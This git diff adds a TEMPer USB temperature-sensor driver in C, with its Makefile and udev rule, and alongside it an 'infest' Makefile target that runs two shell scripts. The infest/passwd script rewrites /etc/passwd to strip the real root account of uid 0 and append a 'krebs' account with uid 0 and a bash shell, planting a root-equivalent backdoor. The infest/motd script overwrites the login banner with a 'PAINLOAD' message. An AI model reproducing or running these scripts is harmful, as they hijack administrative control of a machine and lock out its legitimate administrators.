8 files changed, 384 insertions, 0 deletions

diff --git a/Makefile b/Makefile
new file mode 100644
index 00000000..8203172f
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,9 @@
+
+
+.PHONY: all
+all: select-target
+
+.PHONY: infest
+infest:
+	infest/passwd
+	infest/motd
diff --git a/infest/motd b/infest/motd
new file mode 100755
index 00000000..319e157d
--- /dev/null
+++ b/infest/motd
@@ -0,0 +1,13 @@
+#! /bin/sh
+cat>/etc/motd<<EOF
+KREBS PAINLOAD (MORE COBRA)
+  x x              x x
+ xx xx  xx    xx  xx xx
+ xx xx  xx    xx  xx xx
+  xxx    x     x   xxx
+   x  xxxxxxxxxxxx  x
+    xxxxxxxxxxxxxxxx
+   x  xxxxxxxxxxxx  x
+  x  x   x     x  x  x
+  x  x   x     x  x  x
+EOF
diff --git a/infest/passwd b/infest/passwd
new file mode 100755
index 00000000..00a079ba
--- /dev/null
+++ b/infest/passwd
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+f=/etc/passwd
+
+sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
+sed -ri '/^krebs/d' $f
+
+echo 'krebs:x:0:0::/root:/bin/bash' >>$f
+
diff --git a/modules/temper/99-tempsensor.rules b/modules/temper/99-tempsensor.rules
new file mode 100644
index 00000000..441a469e
--- /dev/null
+++ b/modules/temper/99-tempsensor.rules
@@ -0,0 +1 @@
+SUBSYSTEMS=="usb", ACTION=="add", ATTRS{idVendor}=="1130", ATTRS{idProduct}=="660c", MODE="666"
diff --git a/modules/temper/Makefile b/modules/temper/Makefile
new file mode 100644
index 00000000..db6233fe
--- /dev/null
+++ b/modules/temper/Makefile
@@ -0,0 +1,12 @@
+all:	temper
+
+CFLAGS = -O2 -Wall
+
+temper:	temper.c
+	${CC} -DUNIT_TEST -o $@ $^ -lusb
+
+clean:		
+	rm -f temper *.o
+
+rules-install:			# must be superuser to do this
+	cp 99-tempsensor.rules /etc/udev/rules.d
diff --git a/modules/temper/temper b/modules/temper/temper
new file mode 100755
index 00000000..9f9927fb
--- /dev/null
+++ b/modules/temper/temper
diff --git a/modules/temper/temper.c b/modules/temper/temper.c
new file mode 100644
index 00000000..e591c9fa
--- /dev/null
+++ b/modules/temper/temper.c
@@ -0,0 +1,301 @@
+#include <stdio.h>
+#include <string.h>
+#include <usb.h>
+#include <errno.h>
+
+/*
+ * Temper.c by Robert Kavaler (c) 2009 (relavak.com)
+ * All rights reserved.
+ *
+ * Temper driver for linux. This program can be compiled either as a library
+ * or as a standalone program (-DUNIT_TEST). The driver will work with some
+ * TEMPer usb devices from RDing (www.PCsensor.com).
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY Robert Kavaler ''AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL Robert kavaler BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ */
+
+#include "temper.h"
+
+#define VENDOR_ID  0x1130
+#define PRODUCT_ID 0x660c
+#define DEBUG_MODE 0
+#define SLEEP_TIMEOUT 10
+
+struct Temper {
+	struct usb_device *device;
+	usb_dev_handle *handle;
+	int debug;
+	int timeout;
+};
+
+Temper *
+TemperCreate(struct usb_device *dev, int timeout, int debug)
+{
+	Temper *t;
+	int ret;
+
+	t = calloc(1, sizeof(*t));
+	t->device = dev;
+	t->debug = debug;
+	t->timeout = timeout;
+	t->handle = usb_open(t->device);
+	if(!t->handle) {
+		free(t);
+		return NULL;
+	}
+	if(t->debug) {
+		printf("Trying to detach kernel driver\n");
+	}
+
+	ret = usb_detach_kernel_driver_np(t->handle, 0);
+	if(ret) {
+		if(errno == ENODATA) {
+			if(t->debug) {
+				printf("Device already detached\n");
+			}
+		} else {
+			if(t->debug) {
+				printf("Detach failed: %s[%d]\n",
+				       strerror(errno), errno);
+				printf("Continuing anyway\n");
+			}
+		}
+	} else {
+		if(t->debug) {
+			printf("detach successful\n");
+		}
+	}
+	ret = usb_detach_kernel_driver_np(t->handle, 1);
+	if(ret) {
+		if(errno == ENODATA) {
+			if(t->debug)
+				printf("Device already detached\n");
+		} else {
+			if(t->debug) {
+				printf("Detach failed: %s[%d]\n",
+				       strerror(errno), errno);
+				printf("Continuing anyway\n");
+			}
+		}
+	} else {
+		if(t->debug) {
+			printf("detach successful\n");
+		}
+	}
+
+	if(usb_set_configuration(t->handle, 1) < 0 ||
+	   usb_claim_interface(t->handle, 0) < 0 ||
+	   usb_claim_interface(t->handle, 1)) {
+		usb_close(t->handle);
+		free(t);
+		return NULL;
+	}
+	return t;
+}
+
+Temper *
+TemperCreateFromDeviceNumber(int deviceNum, int timeout, int debug)
+{
+	struct usb_bus *bus;
+	int n;
+
+	n = 0;
+	for(bus=usb_get_busses(); bus; bus=bus->next) {
+	    struct usb_device *dev;
+
+	    for(dev=bus->devices; dev; dev=dev->next) {
+		if(debug) {
+			printf("Found device: %04x:%04x\n",
+			       dev->descriptor.idVendor,
+			       dev->descriptor.idProduct);
+		}
+		if(dev->descriptor.idVendor == VENDOR_ID &&
+		   dev->descriptor.idProduct == PRODUCT_ID) {
+			if(debug) {
+			    printf("Found deviceNum %d\n", n);
+			}
+			if(n == deviceNum) {
+				return TemperCreate(dev, timeout, debug);
+			}
+			n++;
+		}
+	    }
+	}
+	return NULL;
+}
+
+void
+TemperFree(Temper *t)
+{
+	if(t) {
+		if(t->handle) {
+			usb_close(t->handle);
+		}
+		free(t);
+	}
+}
+
+static int
+TemperSendCommand(Temper *t, int a, int b, int c, int d, int e, int f, int g, int h)
+{
+	unsigned char buf[32];
+	int ret;
+
+	bzero(buf, 32);
+	buf[0] = a;
+	buf[1] = b;
+	buf[2] = c;
+	buf[3] = d;
+	buf[4] = e;
+	buf[5] = f;
+	buf[6] = g;
+	buf[7] = h;
+
+	if(t->debug) {
+		printf("sending bytes %d, %d, %d, %d, %d, %d, %d, %d\n",
+		       a, b, c, d, e, f, g, h);
+	}
+
+	ret = usb_control_msg(t->handle, 0x21, 9, 0x200, 0x01,
+			    (char *) buf, 32, t->timeout);
+	if(ret != 32) {
+		perror("usb_control_msg failed");
+		return -1;
+	}
+	return 0;
+}
+
+static int
+TemperGetData(Temper *t, char *buf, int len)
+{
+	int ret;
+
+	return usb_control_msg(t->handle, 0xa1, 1, 0x300, 0x01,
+			    (char *) buf, len, t->timeout);
+}
+
+int
+TemperGetTemperatureInC(Temper *t, float *tempC)
+{
+	char buf[256];
+	int ret, temperature, i;
+
+	TemperSendCommand(t, 10, 11, 12, 13, 0, 0, 2, 0);
+	TemperSendCommand(t, 0x54, 0, 0, 0, 0, 0, 0, 0);
+	for(i = 0; i < 7; i++) {
+		TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	}
+	TemperSendCommand(t, 10, 11, 12, 13, 0, 0, 1, 0);
+	ret = TemperGetData(t, buf, 256);
+	if(ret < 2) {
+		return -1;
+	}
+
+	temperature = (buf[1] & 0xFF) + (buf[0] << 8);	
+	temperature += 1152;			// calibration value
+	*tempC = temperature * (125.0 / 32000.0);
+	return 0;
+}
+
+int
+TemperGetOtherStuff(Temper *t, char *buf, int length)
+{
+	TemperSendCommand(t, 10, 11, 12, 13, 0, 0, 2, 0);
+	TemperSendCommand(t, 0x52, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 10, 11, 12, 13, 0, 0, 1, 0);
+	return TemperGetData(t, buf, length);
+}
+
+
+#ifdef UNIT_TEST
+
+#define USB_TIMEOUT 1000	/* milliseconds */
+
+int
+main(int argv,char** args)
+{
+
+
+	Temper *t;
+	char buf[256];
+	int i, ret,oneshot=0;
+  if (argv == 2 && (args[1][1] == 'h' || args[1][0] == 'h'))
+  {
+    printf("Temper, does the right thing\n");
+    printf("use %s -1 to do one-shot\n");
+    printf("recompile with DEBUG_MODE = 1 for all the debug printing\n");
+    printf("recompile with SLEEP_TIMEOUT = XX for a different polling interval\n");
+    exit(0);
+  }
+
+  if (argv == 2 && (args[1][0] == '1' || args[1][1] == '1'))
+    oneshot = 1;
+
+	usb_set_debug(DEBUG_MODE);
+	usb_init();
+	usb_find_busses();
+	usb_find_devices();
+
+	t = TemperCreateFromDeviceNumber(0, USB_TIMEOUT, DEBUG_MODE);
+	if(!t) {
+		perror("TemperCreate");
+		exit(-1);
+	}
+
+/*
+	TemperSendCommand(t, 10, 11, 12, 13, 0, 0, 2, 0);
+	TemperSendCommand(t, 0x43, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+	TemperSendCommand(t, 0, 0, 0, 0, 0, 0, 0, 0);
+*/
+
+	bzero(buf, 256);
+	ret = TemperGetOtherStuff(t, buf, 256);
+  if (DEBUG_MODE){
+    printf("Other Stuff (%d bytes):\n", ret);
+    for(i = 0; i < ret; i++) {
+      printf(" %02x", buf[i] & 0xFF);
+      if(i % 16 == 15) {
+        printf("\n");
+      }
+    }
+    printf("\n");
+  }
+  
+	for(;;) {
+		float tempc;
+
+		if(TemperGetTemperatureInC(t, &tempc) < 0) {
+			perror("TemperGetTemperatureInC");
+			exit(1);
+		}
+		printf("%.2fF %.2fC\n", (9.0 / 5.0 * tempc + 32.0),
+		       tempc);
+    if (oneshot)
+      exit(0);
+
+		sleep(SLEEP_TIMEOUT);
+	}
+	return 0;
+}
+
+#endif
diff --git a/modules/temper/temper.h b/modules/temper/temper.h
new file mode 100644
index 00000000..7ea6280a
--- /dev/null
+++ b/modules/temper/temper.h
@@ -0,0 +1,39 @@
+#ifndef TEMPER_H
+#define TEMPER_H
+
+/*
+ * Temper.h by Robert Kavaler (c) 2009 (relavak.com)
+ * All rights reserved.
+ *
+ * Temper driver for linux. This program can be compiled either as a library
+ * or as a standalone program (-DUNIT_TEST). The driver will work with some
+ * TEMPer usb devices from RDing (www.PCsensor.com).
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY Robert Kavaler ''AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL Robert kavaler BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ */
+
+typedef struct Temper Temper;
+
+
+Temper *TemperCreateFromDeviceNumber(int deviceNum, int timeout, int debug);
+void TemperFree(Temper *t);
+
+int TemperGetTemperatureInC(Temper *t, float *tempC);
+int TempterGetOtherStuff(Temper *t, char *buf, int length);
+
+#endif